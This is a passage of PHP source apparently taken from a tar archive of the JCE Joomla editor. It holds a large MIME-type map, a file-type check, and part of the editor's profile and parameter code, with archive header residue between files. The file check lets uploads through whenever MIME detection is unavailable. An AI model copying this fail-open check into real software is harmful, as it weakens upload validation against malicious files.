'pvb', 'application/vnd.3gpp2.tcap' => 'tcap', 'application/vnd.3m.post-it-notes' => 'pwn', 'application/vnd.accpac.simply.aso' => 'aso', 'application/vnd.accpac.simply.imp' => 'imp', 'application/vnd.acucobol' => 'acu', 'application/vnd.acucorp' => 'atc acutc', 'application/vnd.adobe.air-application-installer-package+zip' => 'air', 'application/vnd.adobe.xdp+xml' => 'xdp', 'application/vnd.adobe.xfdf' => 'xfdf', 'application/vnd.airzip.filesecure.azf' => 'azf', 'application/vnd.airzip.filesecure.azs' => 'azs', 'application/vnd.amazon.ebook' => 'azw', 'application/vnd.americandynamics.acc' => 'acc', 'application/vnd.amiga.ami' => 'ami', 'application/vnd.android.package-archive' => 'apk', 'application/vnd.anser-web-certificate-issue-initiation' => 'cii', 'application/vnd.anser-web-funds-transfer-initiation' => 'fti', 'application/vnd.antix.game-component' => 'atx', 'application/vnd.apple.installer+xml' => 'mpkg', 'application/vnd.apple.mpegurl' => 'm3u8', 'application/vnd.aristanetworks.swi' => 'swi', 'application/vnd.audiograph' => 'aep', 'application/vnd.blueice.multipass' => 'mpm', 'application/vnd.bmi' => 'bmi', 'application/vnd.businessobjects' => 'rep', 'application/vnd.chemdraw+xml' => 'cdxml', 'application/vnd.chipnuts.karaoke-mmd' => 'mmd', 'application/vnd.cinderella' => 'cdy', 'application/vnd.claymore' => 'cla', 'application/vnd.cloanto.rp9' => 'rp9', 'application/vnd.clonk.c4group' => 'c4g c4d c4f c4p c4u', 'application/vnd.commonspace' => 'csp', 'application/vnd.contact.cmsg' => 'cdbcmsg', 'application/vnd.cosmocaller' => 'cmc', 'application/vnd.crick.clicker' => 'clkx', 'application/vnd.crick.clicker.keyboard' => 'clkk', 'application/vnd.crick.clicker.palette' => 'clkp', 'application/vnd.crick.clicker.template' => 'clkt', 'application/vnd.crick.clicker.wordbank' => 'clkw', 'application/vnd.criticaltools.wbs+xml' => 'wbs', 'application/vnd.ctc-posml' => 'pml', 'application/vnd.cups-ppd' => 'ppd', 'application/vnd.curl.car' => 'car', 'application/vnd.curl.pcurl' => 'pcurl', 'application/vnd.data-vision.rdz' => 'rdz', 'application/vnd.denovo.fcselayout-link' => 'fe_launch', 'application/vnd.dna' => 'dna', 'application/vnd.dolby.mlp' => 'mlp', 'application/vnd.dpgraph' => 'dpg', 'application/vnd.dreamfactory' => 'dfac', 'application/vnd.dynageo' => 'geo', 'application/vnd.ecowin.chart' => 'mag', 'application/vnd.enliven' => 'nml', 'application/vnd.epson.esf' => 'esf', 'application/vnd.epson.msf' => 'msf', 'application/vnd.epson.quickanime' => 'qam', 'application/vnd.epson.salt' => 'slt', 'application/vnd.epson.ssf' => 'ssf', 'application/vnd.eszigno3+xml' => 'es3 et3', 'application/vnd.ezpix-album' => 'ez2', 'application/vnd.ezpix-package' => 'ez3', 'application/vnd.fdf' => 'fdf', 'application/vnd.fdsn.mseed' => 'mseed', 'application/vnd.fdsn.seed' => 'seed dataless', 'application/vnd.flographit' => 'gph', 'application/vnd.fluxtime.clip' => 'ftc', 'application/vnd.framemaker' => 'fm frame maker book', 'application/vnd.frogans.fnc' => 'fnc', 'application/vnd.frogans.ltf' => 'ltf', 'application/vnd.fsc.weblaunch' => 'fsc', 'application/vnd.fujitsu.oasys' => 'oas', 'application/vnd.fujitsu.oasys2' => 'oa2', 'application/vnd.fujitsu.oasys3' => 'oa3', 'application/vnd.fujitsu.oasysgp' => 'fg5', 'application/vnd.fujitsu.oasysprs' => 'bh2', 'application/vnd.fujixerox.ddd' => 'ddd', 'application/vnd.fujixerox.docuworks' => 'xdw', 'application/vnd.fujixerox.docuworks.binder' => 'xbd', 'application/vnd.fuzzysheet' => 'fzs', 'application/vnd.genomatix.tuxedo' => 'txd', 'application/vnd.geogebra.file' => 'ggb', 'application/vnd.geogebra.tool' => 'ggt', 'application/vnd.geometry-explorer' => 'gex gre', 'application/vnd.geonext' => 'gxt', 'application/vnd.geoplan' => 'g2w', 'application/vnd.geospace' => 'g3w', 'application/vnd.gmx' => 'gmx', 'application/vnd.google-earth.kml+xml' => 'kml', 'application/vnd.google-earth.kmz' => 'kmz', 'application/vnd.grafeq' => 'gqf gqs', 'application/vnd.groove-account' => 'gac', 'application/vnd.groove-help' => 'ghf', 'application/vnd.groove-identity-message' => 'gim', 'application/vnd.groove-injector' => 'grv', 'application/vnd.groove-tool-message' => 'gtm', 'application/vnd.groove-tool-template' => 'tpl', 'application/vnd.groove-vcard' => 'vcg', 'application/vnd.handheld-entertainment+xml' => 'zmm', 'application/vnd.hbci' => 'hbci', 'application/vnd.hhe.lesson-player' => 'les', 'application/vnd.hp-hpgl' => 'hpgl', 'application/vnd.hp-hpid' => 'hpid', 'application/vnd.hp-hps' => 'hps', 'application/vnd.hp-jlyt' => 'jlt', 'application/vnd.hp-pcl' => 'pcl', 'application/vnd.hp-pclxl' => 'pclxl', 'application/vnd.hydrostatix.sof-data' => 'sfd-hdstx', 'application/vnd.hzn-3d-crossword' => 'x3d', 'application/vnd.ibm.minipay' => 'mpy', 'application/vnd.ibm.modcap' => 'afp listafp list3820', 'application/vnd.ibm.rights-management' => 'irm', 'application/vnd.ibm.secure-container' => 'sc', 'application/vnd.iccprofile' => 'icc icm', 'application/vnd.igloader' => 'igl', 'application/vnd.immervision-ivp' => 'ivp', 'application/vnd.immervision-ivu' => 'ivu', 'application/vnd.intercon.formnet' => 'xpw xpx', 'application/vnd.intu.qbo' => 'qbo', 'application/vnd.intu.qfx' => 'qfx', 'application/vnd.ipunplugged.rcprofile' => 'rcprofile', 'application/vnd.irepository.package+xml' => 'irp', 'application/vnd.is-xpr' => 'xpr', 'application/vnd.jam' => 'jam', 'application/vnd.jcp.javame.midlet-rms' => 'rms', 'application/vnd.jisp' => 'jisp', 'application/vnd.joost.joda-archive' => 'joda', 'application/vnd.kahootz' => 'ktz ktr', 'application/vnd.kde.karbon' => 'karbon', 'application/vnd.kde.kchart' => 'chrt', 'application/vnd.kde.kformula' => 'kfo', 'application/vnd.kde.kivio' => 'flw', 'application/vnd.kde.kontour' => 'kon', 'application/vnd.kde.kpresenter' => 'kpr kpt', 'application/vnd.kde.kspread' => 'ksp', 'application/vnd.kde.kword' => 'kwd kwt', 'application/vnd.kenameaapp' => 'htke', 'application/vnd.kidspiration' => 'kia', 'application/vnd.kinar' => 'kne knp', 'application/vnd.koan' => 'skp skd skt skm', 'application/vnd.kodak-descriptor' => 'sse', 'application/vnd.llamagraphics.life-balance.desktop' => 'lbd', 'application/vnd.llamagraphics.life-balance.exchange+xml' => 'lbe', 'application/vnd.lotus-1-2-3' => '123', 'application/vnd.lotus-approach' => 'apr', 'application/vnd.lotus-freelance' => 'pre', 'application/vnd.lotus-notes' => 'nsf', 'application/vnd.lotus-organizer' => 'org', 'application/vnd.lotus-screencam' => 'scm', 'application/vnd.lotus-wordpro' => 'lwp', 'application/vnd.macports.portpkg' => 'portpkg', 'application/vnd.mcd' => 'mcd', 'application/vnd.medcalcdata' => 'mc1', 'application/vnd.mediastation.cdkey' => 'cdkey', 'application/vnd.mfer' => 'mwf', 'application/vnd.mfmp' => 'mfm', 'application/vnd.micrografx.flo' => 'flo', 'application/vnd.micrografx.igx' => 'igx', 'application/vnd.mif' => 'mif', 'application/vnd.mobius.daf' => 'daf', 'application/vnd.mobius.dis' => 'dis', 'application/vnd.mobius.mbk' => 'mbk', 'application/vnd.mobius.mqy' => 'mqy', 'application/vnd.mobius.msl' => 'msl', 'application/vnd.mobius.plc' => 'plc', 'application/vnd.mobius.txf' => 'txf', 'application/vnd.mophun.application' => 'mpn', 'application/vnd.mophun.certificate' => 'mpc', 'application/vnd.mozilla.xul+xml' => 'xul', 'application/vnd.ms-artgalry' => 'cil', 'application/vnd.ms-cab-compressed' => 'cab', 'application/vnd.ms-excel' => 'xls xlm xla xlc xlt xlw xlsx', 'application/vnd.ms-excel.addin.macroenabled.12' => 'xlam', 'application/vnd.ms-excel.sheet.binary.macroenabled.12' => 'xlsb', 'application/vnd.ms-excel.sheet.macroenabled.12' => 'xlsm', 'application/vnd.ms-excel.template.macroenabled.12' => 'xltm', 'application/vnd.ms-fontobject' => 'eot', 'application/vnd.ms-htmlhelp' => 'chm', 'application/vnd.ms-ims' => 'ims', 'application/vnd.ms-lrm' => 'lrm', 'application/vnd.ms-pki.seccat' => 'cat', 'application/vnd.ms-pki.stl' => 'stl', 'application/vnd.ms-powerpoint' => 'ppt pps pot pptx', 'application/vnd.ms-powerpoint.addin.macroenabled.12' => 'ppam', 'application/vnd.ms-powerpoint.presentation.macroenabled.12' => 'pptm', 'application/vnd.ms-powerpoint.slide.macroenabled.12' => 'sldm', 'application/vnd.ms-powerpoint.slideshow.macroenabled.12' => 'ppsm', 'application/vnd.ms-powerpoint.template.macroenabled.12' => 'potm', 'application/vnd.ms-project' => 'mpp mpt', 'application/vnd.ms-word.document.macroenabled.12' => 'docm', 'application/vnd.ms-word.template.macroenabled.12' => 'dotm', 'application/vnd.ms-works' => 'wps wks wcm wdb', 'application/vnd.ms-wpl' => 'wpl', 'application/vnd.ms-xpsdocument' => 'xps', 'application/vnd.mseq' => 'mseq', 'application/vnd.musician' => 'mus', 'application/vnd.muvee.style' => 'msty', 'application/vnd.neurolanguage.nlu' => 'nlu', 'application/vnd.noblenet-directory' => 'nnd', 'application/vnd.noblenet-sealer' => 'nns', 'application/vnd.noblenet-web' => 'nnw', 'application/vnd.nokia.n-gage.data' => 'ngdat', 'application/vnd.nokia.n-gage.symbian.install' => 'n-gage', 'application/vnd.nokia.radio-preset' => 'rpst', 'application/vnd.nokia.radio-presets' => 'rpss', 'application/vnd.novadigm.edm' => 'edm', 'application/vnd.novadigm.edx' => 'edx', 'application/vnd.novadigm.ext' => 'ext', 'application/vnd.oasis.opendocument.chart' => 'odc', 'application/vnd.oasis.opendocument.chart-template' => 'otc', 'application/vnd.oasis.opendocument.database' => 'odb', 'application/vnd.oasis.opendocument.formula' => 'odf', 'application/vnd.oasis.opendocument.formula-template' => 'odft', 'application/vnd.oasis.opendocument.graphics' => 'odg', 'application/vnd.oasis.opendocument.graphics-template' => 'otg', 'application/vnd.oasis.opendocument.image' => 'odi', 'application/vnd.oasis.opendocument.image-template' => 'oti', 'application/vnd.oasis.opendocument.presentation' => 'odp', 'application/vnd.oasis.opendocument.presentation-template' => 'otp', 'application/vnd.oasis.opendocument.spreadsheet' => 'ods', 'application/vnd.oasis.opendocument.spreadsheet-template' => 'ots', 'application/vnd.oasis.opendocument.text' => 'odt', 'application/vnd.oasis.opendocument.text-master' => 'otm', 'application/vnd.oasis.opendocument.text-template' => 'ott', 'application/vnd.oasis.opendocument.text-web' => 'oth', 'application/vnd.olpc-sugar' => 'xo', 'application/vnd.oma.dd2+xml' => 'dd2', 'application/vnd.openofficeorg.extension' => 'oxt', 'application/vnd.openxmlformats-officedocument.presentationml.presentation' => 'pptx', 'application/vnd.openxmlformats-officedocument.presentationml.slide' => 'sldx', 'application/vnd.openxmlformats-officedocument.presentationml.slideshow' => 'ppsx', 'application/vnd.openxmlformats-officedocument.presentationml.template' => 'potx', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' => 'xlsx', 'application/vnd.openxmlformats-officedocument.spreadsheetml.template' => 'xltx', 'application/vnd.openxmlformats-officedocument.wordprocessingml.document' => 'docx', 'application/vnd.openxmlformats-officedocument.wordprocessingml.template' => 'dotx', 'application/vnd.osgi.dp' => 'dp', 'application/vnd.palm' => 'pdb pqa oprc', 'application/vnd.pawaafile' => 'paw', 'application/vnd.pg.format' => 'str', 'application/vnd.pg.osasli' => 'ei6', 'application/vnd.picsel' => 'efif', 'application/vnd.pmi.widget' => 'wg', 'application/vnd.pocketlearn' => 'plf', 'application/vnd.powerbuilder6' => 'pbd', 'application/vnd.previewsystems.box' => 'box', 'application/vnd.proteus.magazine' => 'mgz', 'application/vnd.publishare-delta-tree' => 'qps', 'application/vnd.pvi.ptid1' => 'ptid', 'application/vnd.quark.quarkxpress' => 'qxd qxt qwd qwt qxl qxb', 'application/vnd.realvnc.bed' => 'bed', 'application/vnd.recordare.musicxml' => 'mxl', 'application/vnd.recordare.musicxml+xml' => 'musicxml', 'application/vnd.rim.cod' => 'cod', 'application/vnd.rn-realmedia' => 'rm', 'application/vnd.route66.link66+xml' => 'link66', 'application/vnd.sailingtracker.track' => 'st', 'application/vnd.seemail' => 'see', 'application/vnd.sema' => 'sema', 'application/vnd.semd' => 'semd', 'application/vnd.semf' => 'semf', 'application/vnd.shana.informed.formdata' => 'ifm', 'application/vnd.shana.informed.formtemplate' => 'itp', 'application/vnd.shana.informed.interchange' => 'iif', 'application/vnd.shana.informed.package' => 'ipk', 'application/vnd.simtech-mindmapper' => 'twd twds', 'application/vnd.smaf' => 'mmf', 'application/vnd.smart.teacher' => 'teacher', 'application/vnd.solent.sdkm+xml' => 'sdkm sdkd', 'application/vnd.spotfire.dxp' => 'dxp', 'application/vnd.spotfire.sfs' => 'sfs', 'application/vnd.stardivision.calc' => 'sdc', 'application/vnd.stardivision.draw' => 'sda', 'application/vnd.stardivision.impress' => 'sdd', 'application/vnd.stardivision.math' => 'smf', 'application/vnd.stardivision.writer' => 'sdw', 'application/vnd.stardivision.writer' => 'vor', 'application/vnd.stardivision.writer-global' => 'sgl', 'application/vnd.sun.xml.calc' => 'sxc', 'application/vnd.sun.xml.calc.template' => 'stc', 'application/vnd.sun.xml.draw' => 'sxd', 'application/vnd.sun.xml.draw.template' => 'std', 'application/vnd.sun.xml.impress' => 'sxi', 'application/vnd.sun.xml.impress.template' => 'sti', 'application/vnd.sun.xml.math' => 'sxm', 'application/vnd.sun.xml.writer' => 'sxw', 'application/vnd.sun.xml.writer.global' => 'sxg', 'application/vnd.sun.xml.writer.template' => 'stw', 'application/vnd.sus-calendar' => 'sus susp', 'application/vnd.svd' => 'svd', 'application/vnd.symbian.install' => 'sis sisx', 'application/vnd.syncml+xml' => 'xsm', 'application/vnd.syncml.dm+wbxml' => 'bdm', 'application/vnd.syncml.dm+xml' => 'xdm', 'application/vnd.tao.intent-module-archive' => 'tao', 'application/vnd.tmobile-livetv' => 'tmo', 'application/vnd.trid.tpt' => 'tpt', 'application/vnd.triscape.mxs' => 'mxs', 'application/vnd.trueapp' => 'tra', 'application/vnd.ufdl' => 'ufd ufdl', 'application/vnd.uiq.theme' => 'utz', 'application/vnd.umajin' => 'umj', 'application/vnd.unity' => 'unityweb', 'application/vnd.uoml+xml' => 'uoml', 'application/vnd.vcx' => 'vcx', 'application/vnd.visio' => 'vsd vst vss vsw', 'application/vnd.visionary' => 'vis', 'application/vnd.vsf' => 'vsf', 'application/vnd.wap.wbxml' => 'wbxml', 'application/vnd.wap.wmlc' => 'wmlc', 'application/vnd.wap.wmlscriptc' => 'wmlsc', 'application/vnd.webturbo' => 'wtb', 'application/vnd.wolfram.player' => 'nbp', 'application/vnd.wordperfect' => 'wpd', 'application/vnd.wqd' => 'wqd', 'application/vnd.wt.stf' => 'stf', 'application/vnd.xara' => 'xar', 'application/vnd.xfdl' => 'xfdl', 'application/vnd.yamaha.hv-dic' => 'hvd', 'application/vnd.yamaha.hv-script' => 'hvs', 'application/vnd.yamaha.hv-voice' => 'hvp', 'application/vnd.yamaha.openscoreformat' => 'osf', 'application/vnd.yamaha.openscoreformat.osfpvg+xml' => 'osfpvg', 'application/vnd.yamaha.smaf-audio' => 'saf', 'application/vnd.yamaha.smaf-phrase' => 'spf', 'application/vnd.yellowriver-custom-menu' => 'cmp', 'application/vnd.zul' => 'zir zirz', 'application/vnd.zzazz.deck+xml' => 'zaz', 'application/voicexml+xml' => 'vxml', 'application/winhlp' => 'hlp', 'application/wsdl+xml' => 'wsdl', 'application/wspolicy+xml' => 'wspolicy', 'application/x-abiword' => 'abw', 'application/x-ace-compressed' => 'ace', 'application/x-authorware-bin' => 'aab x32 u32 vox', 'application/x-authorware-map' => 'aam', 'application/x-authorware-seg' => 'aas', 'application/x-bcpio' => 'bcpio', 'application/x-bittorrent' => 'torrent', 'application/x-bzip' => 'bz', 'application/x-bzip2' => 'bz2 boz', 'application/x-cdlink' => 'vcd', 'application/x-chat' => 'chat', 'application/x-chess-pgn' => 'pgn', 'application/x-cpio' => 'cpio', 'application/x-csh' => 'csh', 'application/x-debian-package' => 'deb udeb', 'application/x-director' => 'dir dcr dxr cst cct cxt w3d fgd swa', 'application/x-doom' => 'wad', 'application/x-dtbncx+xml' => 'ncx', 'application/x-dtbook+xml' => 'dtb', 'application/x-dtbresource+xml' => 'res', 'application/x-dvi' => 'dvi', 'application/x-font-bdf' => 'bdf', 'application/x-font-ghostscript' => 'gsf', 'application/x-font-linux-psf' => 'psf', 'application/x-font-otf' => 'otf', 'application/x-font-pcf' => 'pcf', 'application/x-font-snf' => 'snf', 'application/x-font-ttf' => 'ttf ttc', 'application/x-font-type1' => 'pfa pfb pfm afm', 'application/x-futuresplash' => 'spl', 'application/x-gnumeric' => 'gnumeric', 'application/x-gtar' => 'gtar', 'application/x-hdf' => 'hdf', 'application/x-java-jnlp-file' => 'jnlp', 'application/x-latex' => 'latex', 'application/x-mobipocket-ebook' => 'prc mobi', 'application/x-ms-application' => 'application', 'application/x-ms-wmd' => 'wmd', 'application/x-ms-wmz' => 'wmz', 'application/x-ms-xbap' => 'xbap', 'application/x-msaccess' => 'mdb', 'application/x-msbinder' => 'obd', 'application/x-mscardfile' => 'crd', 'application/x-msclip' => 'clp', 'application/x-msdownload' => 'exe dll com bat msi', 'application/x-msmediaview' => 'mvb m13 m14', 'application/x-msmetafile' => 'wmf', 'application/x-msmoney' => 'mny', 'application/x-mspublisher' => 'pub', 'application/x-msschedule' => 'scd', 'application/x-msterminal' => 'trm', 'application/x-mswrite' => 'wri', 'application/x-netcdf' => 'nc cdf', 'application/x-pkcs12' => 'p12 pfx', 'application/x-pkcs7-certificates' => 'p7b spc', 'application/x-pkcs7-certreqresp' => 'p7r', 'application/x-rar-compressed' => 'rar', 'application/x-sh' => 'sh', 'application/x-shar' => 'shar', 'application/x-shockwave-flash' => 'swf', 'application/x-silverlight-app' => 'xap', 'application/x-stuffit' => 'sit', 'application/x-stuffitx' => 'sitx', 'application/x-sv4cpio' => 'sv4cpio', 'application/x-sv4crc' => 'sv4crc', 'application/x-tar' => 'tar', 'application/x-tcl' => 'tcl', 'application/x-tex' => 'tex', 'application/x-tex-tfm' => 'tfm', 'application/x-texinfo' => 'texinfo texi', 'application/x-ustar' => 'ustar', 'application/x-wais-source' => 'src', 'application/x-x509-ca-cert' => 'der crt', 'application/x-xfig' => 'fig', 'application/x-xpinstall' => 'xpi', 'application/xenc+xml' => 'xenc', 'application/xhtml+xml' => 'xhtml xht', 'application/xml' => 'xml xsl', 'application/xml-dtd' => 'dtd', 'application/xop+xml' => 'xop', 'application/xslt+xml' => 'xslt', 'application/xspf+xml' => 'xspf', 'application/xv+xml' => 'mxml xhvml xvml xvm', 'application/zip' => 'zip docx pptx ppsx xlsx sldx potx xltx dotx', 'audio/adpcm' => 'adp', 'audio/basic' => 'au snd', 'audio/midi' => 'mid midi kar rmi', 'audio/mp4' => 'mp4a', 'audio/mpeg' => 'mpga mp2 mp2a mp3 m2a m3a', 'audio/ogg' => 'oga ogg spx', 'audio/vnd.digital-winds' => 'eol', 'audio/vnd.dra' => 'dra', 'audio/vnd.dts' => 'dts', 'audio/vnd.dts.hd' => 'dtshd', 'audio/vnd.lucent.voice' => 'lvp', 'audio/vnd.ms-playready.media.pya' => 'pya', 'audio/vnd.nuera.ecelp4800' => 'ecelp4800', 'audio/vnd.nuera.ecelp7470' => 'ecelp7470', 'audio/vnd.nuera.ecelp9600' => 'ecelp9600', 'audio/x-aac' => 'aac', 'audio/x-aiff' => 'aif aiff aifc', 'audio/x-mpegurl' => 'm3u', 'audio/x-ms-wax' => 'wax', 'audio/x-ms-wma' => 'wma', 'audio/x-pn-realaudio' => 'ram ra', 'audio/x-pn-realaudio-plugin' => 'rmp', 'audio/x-wav' => 'wav', 'chemical/x-cdx' => 'cdx', 'chemical/x-cif' => 'cif', 'chemical/x-cmdf' => 'cmdf', 'chemical/x-cml' => 'cml', 'chemical/x-csml' => 'csml', 'chemical/x-xyz' => 'xyz', 'image/bmp' => 'bmp', 'image/cgm' => 'cgm', 'image/g3fax' => 'g3', 'image/gif' => 'gif', 'image/ief' => 'ief', 'image/jpeg' => 'jpeg jpg jpe', 'image/png' => 'png', 'image/prs.btif' => 'btif', 'image/svg+xml' => 'svg svgz', 'image/tiff' => 'tiff tif', 'image/vnd.adobe.photoshop' => 'psd', 'image/vnd.djvu' => 'djvu djv', 'image/vnd.dwg' => 'dwg', 'image/vnd.dxf' => 'dxf', 'image/vnd.fastbidsheet' => 'fbs', 'image/vnd.fpx' => 'fpx', 'image/vnd.fst' => 'fst', 'image/vnd.fujixerox.edmics-mmr' => 'mmr', 'image/vnd.fujixerox.edmics-rlc' => 'rlc', 'image/vnd.ms-modi' => 'mdi', 'image/vnd.net-fpx' => 'npx', 'image/vnd.wap.wbmp' => 'wbmp', 'image/vnd.xiff' => 'xif', 'image/x-cmu-raster' => 'ras', 'image/x-cmx' => 'cmx', 'image/x-freehand' => 'fh fhc fh4 fh5 fh7', 'image/x-icon' => 'ico', 'image/x-pcx' => 'pcx', 'image/x-pict' => 'pic pct', 'image/x-portable-anymap' => 'pnm', 'image/x-portable-bitmap' => 'pbm', 'image/x-portable-graymap' => 'pgm', 'image/x-portable-pixmap' => 'ppm', 'image/x-rgb' => 'rgb', 'image/x-xbitmap' => 'xbm', 'image/x-xpixmap' => 'xpm', 'image/x-xwindowdump' => 'xwd', 'message/rfc822' => 'eml mime', 'model/iges' => 'igs iges', 'model/mesh' => 'msh mesh silo', 'model/vnd.dwf' => 'dwf', 'model/vnd.gdl' => 'gdl', 'model/vnd.gtw' => 'gtw', 'model/vnd.mts' => 'mts', 'model/vnd.vtu' => 'vtu', 'model/vrml' => 'wrl vrml', 'text/calendar' => 'ics ifb', 'text/css' => 'css', 'text/csv' => 'csv', 'text/html' => 'html htm', 'text/plain' => 'txt text conf def list log in', 'text/prs.lines.tag' => 'dsc', 'text/richtext' => 'rtx', 'text/sgml' => 'sgml sgm', 'text/tab-separated-values' => 'tsv', 'text/troff' => 't tr roff man me ms', 'text/uri-list' => 'uri uris urls', 'text/vnd.curl' => 'curl', 'text/vnd.curl.dcurl' => 'dcurl', 'text/vnd.curl.scurl' => 'scurl', 'text/vnd.curl.mcurl' => 'mcurl', 'text/vnd.fly' => 'fly', 'text/vnd.fmi.flexstor' => 'flx', 'text/vnd.graphviz' => 'gv', 'text/vnd.in3d.3dml' => '3dml', 'text/vnd.in3d.spot' => 'spot', 'text/vnd.sun.j2me.app-descriptor' => 'jad', 'text/vnd.wap.wml' => 'wml', 'text/vnd.wap.wmlscript' => 'wmls', 'text/x-asm' => 's asm', 'text/x-c' => 'c cc cxx cpp h hh dic', 'text/x-fortran' => 'f for f77 f90', 'text/x-pascal' => 'p pas', 'text/x-java-source' => 'java', 'text/x-setext' => 'etx', 'text/x-uuencode' => 'uu', 'text/x-vcalendar' => 'vcs', 'text/x-vcard' => 'vcf', 'video/3gpp' => '3gp', 'video/3gpp2' => '3g2', 'video/h261' => 'h261', 'video/h263' => 'h263', 'video/h264' => 'h264', 'video/jpeg' => 'jpgv', 'video/jpm' => 'jpm jpgm', 'video/mj2' => 'mj2 mjp2', 'video/mp4' => 'mp4 mp4v mpg4', 'video/mpeg' => 'mpeg mpg mpe m1v m2v', 'video/ogg' => 'ogg ogv', 'video/quicktime' => 'qt mov', 'video/vnd.fvt' => 'fvt', 'video/vnd.mpegurl' => 'mxu m4u', 'video/vnd.ms-playready.media.pyv' => 'pyv', 'video/vnd.vivo' => 'viv', 'video/x-f4v' => 'f4v', 'video/x-fli' => 'fli', 'video/x-flv' => 'flv', 'video/x-m4v' => 'm4v', 'video/x-ms-asf' => 'asf asx wmv', 'video/x-ms-wm' => 'wm', 'video/x-ms-wmv' => 'wmv', 'video/x-ms-wmx' => 'wmx', 'video/x-ms-wvx' => 'wvx', 'video/x-msvideo' => 'avi', 'video/x-sgi-movie' => 'movie', 'x-conference/x-cooltalk' => 'ice' ); /** * $mimes getter - see $mimes * @access private */ private static function getMimes() { return self::$mimes; } /** * * Get the mime type from the $mimes array * @access private * @param string $type * @return string */ private static function getMime($type) { // get mimetype array $mimes = self::getMimes(); if (array_key_exists($type, $mimes)) { return explode(' ', $mimes[$type]); } return null; } /** * Check file mime type * @access public * @param string $name * @param string $path * @param string $type * @return bool */ public function check($name, $path) { $extension = strtolower(substr($name, strrpos($name, '.') + 1)); if (function_exists('finfo_open')) { if ($finfo = @finfo_open(FILEINFO_MIME_TYPE)) { if ($mimetype = @finfo_file($finfo, $path)) { @finfo_close($finfo); $mime = self::getMime($mimetype); if ($mime) { return in_array($extension, $mime); } } } } else if (function_exists('mime_content_type')) { if ($mimetype = @mime_content_type($path)) { $mime = self::getMime($mimetype); if ($mime) { return in_array($extension, $mime); } } } // server doesn't support mime type check, let it through... return true; } }com_jce/editor/libraries/classes/editor.php000066600000024755150771500630015066 0ustar00setProperties($config); } /** * Returns a reference to a editor object * * This method must be invoked as: *
        $browser =JContentEditor::getInstance();
      * * @access public * @return JCE The editor object. */ public static function getInstance($config = array()) { if (!isset(self::$instance)) { self::$instance = new WFEditor($config); } return self::$instance; } /** * Get the current version * @access protected * @return string */ public function getVersion() { return preg_replace('#[^a-z0-9]+#i', '', $this->get('_version')); } /** * Get an appropriate editor profile * @access public * @return $profile Object */ public function getProfile($plugin = null) { if (!isset(self::$profile)) { $mainframe = JFactory::getApplication(); $db = JFactory::getDBO(); $user = JFactory::getUser(); $option = $this->getComponentOption(); $query = $db->getQuery(true); if (is_object($query)) { $query->select('*')->from('#__wf_profiles')->where('published = 1')->order('ordering ASC'); } else { $query = 'SELECT * FROM #__wf_profiles' . ' WHERE published = 1' . ' ORDER BY ordering ASC'; } $db->setQuery($query); $profiles = $db->loadObjectList(); if ($option == 'com_jce') { $component_id = JRequest::getInt('component_id'); if ($component_id) { $component = WFExtensionHelper::getComponent($component_id); $option = isset($component->element) ? $component->element : $component->option; } } // get the Joomla! area (admin or site) $area = $mainframe->isAdmin() ? 2 : 1; if (!class_exists('Mobile_Detect')) { // load mobile detect class require_once(dirname(__FILE__) . '/mobile.php'); } $mobile = new Mobile_Detect(); // set device values if ($mobile->isMobile()) { $device = 'phone'; } else if ($mobile->isTablet()) { $device = 'tablet'; } else { $device = 'desktop'; } // Joomla! 1.6+ if (method_exists('JUser', 'getAuthorisedGroups')) { $keys = $user->getAuthorisedGroups(); } else { $keys = array($user->gid); } foreach ($profiles as $item) { // at least one user group or user must be set if (empty($item->types) && empty($item->users)) { continue; } // check user groups - a value should always be set $groups = array_intersect($keys, explode(',', $item->types)); // user not in the current group... if (empty($groups)) { // no additional users set or no user match if (empty($item->users) || in_array($user->id, explode(',', $item->users)) === false) { continue; } } // check component if ($option !== 'com_jce' && $item->components && in_array($option, explode(',', $item->components)) === false) { continue; } // set device default as 'desktop,tablet,mobile' if (!isset($item->device) || empty($item->device)) { $item->device = 'desktop,tablet,phone'; } // check device if (in_array($device, explode(',', $item->device)) === false) { continue; } // check area if (!empty($item->area) && (int) $item->area != $area) { continue; } // check for individual plugin - use Editor Model as it adds "core" plugins to profile set if ($plugin) { wfimport('admin.models.editor'); $model = new WFModelEditor(); $plugins = (array) $model->getPlugins(); if (in_array($plugin, $plugins) === false) { continue; } } // decrypt params if (!empty($item->params)) { wfimport('admin.helpers.encrypt'); $item->params = WFEncryptHelper::decrypt($item->params); } // assign item to profile self::$profile = $item; // return return self::$profile; } return null; } return self::$profile; } /** * Get the component option * @access private * @return string */ private function getComponentOption() { $option = JRequest::getCmd('option', ''); switch ($option) { case 'com_section' : $option = 'com_content'; break; case 'com_categories' : $section = JRequest::getCmd('section'); if ($section) { $option = $section; } break; } return $option; } /** * Get editor parameters * @access public * @param array $options * @return object */ public function getParams($options = array()) { if (!isset(self::$params)) { self::$params = array(); } // set blank key if not set if (!isset($options['key'])) { $options['key'] = ''; } // set blank path if not set if (!isset($options['path'])) { $options['path'] = ''; } $plugin = JRequest::getCmd('plugin'); if ($plugin) { $options['plugin'] = $plugin; } $signature = serialize($options); if (empty(self::$params[$signature])) { wfimport('admin.helpers.extension'); // get plugin $editor_plugin = WFExtensionHelper::getPlugin(); // get params data for this profile $profile = $this->getProfile($plugin); $profile_params = array(); $editor_params = array(); // get params from editor plugin if ($editor_plugin->params && $editor_plugin->params !== "{}") { $editor_params['editor'] = json_decode($editor_plugin->params, true); } else { // get component $component = WFExtensionHelper::getComponent(); // get params from component "params" field (legacy) if ($component->params && $component->params !== "{}") { $data = json_decode($component->params, true); if (isset($data['editor'])) { $editor_params['editor'] = $data['editor']; } } } if ($profile) { $profile_params = json_decode($profile->params, true); } // make sure we have an empty array if null or false if (empty($editor_params)) { $editor_params = array(); } // make sure we have an empty array if null or false if (empty($profile_params)) { $profile_params = array(); } // merge data and convert to json string $data = WFParameter::mergeParams($editor_params, $profile_params); self::$params[$signature] = new WFParameter($data, $options['path'], $options['key']); } return self::$params[$signature]; } /** * Get a parameter by key * @param $key Parameter key eg: editor.width * @param $fallback Fallback value * @param $default Default value */ public function getParam($key, $fallback = '', $default = '', $type = 'string', $allowempty = true) { // get all keys $keys = explode('.', $key); // remove base key eg: 'editor' $base = array_shift($keys); // get params for base key $params = self::getParams(array('key' => $base)); // get a parameter $param = $params->get($keys, $fallback, $allowempty); if (is_string($param) && $type == 'string') { $param = trim(preg_replace('#[\n\r\t]+#', '', $param)); } if (is_numeric($default)) { $default = (float) $default; } if (is_numeric($param)) { $param = (float) $param; } if ($param === $default) { return ''; } if ($type == 'boolean') { $param = (bool) 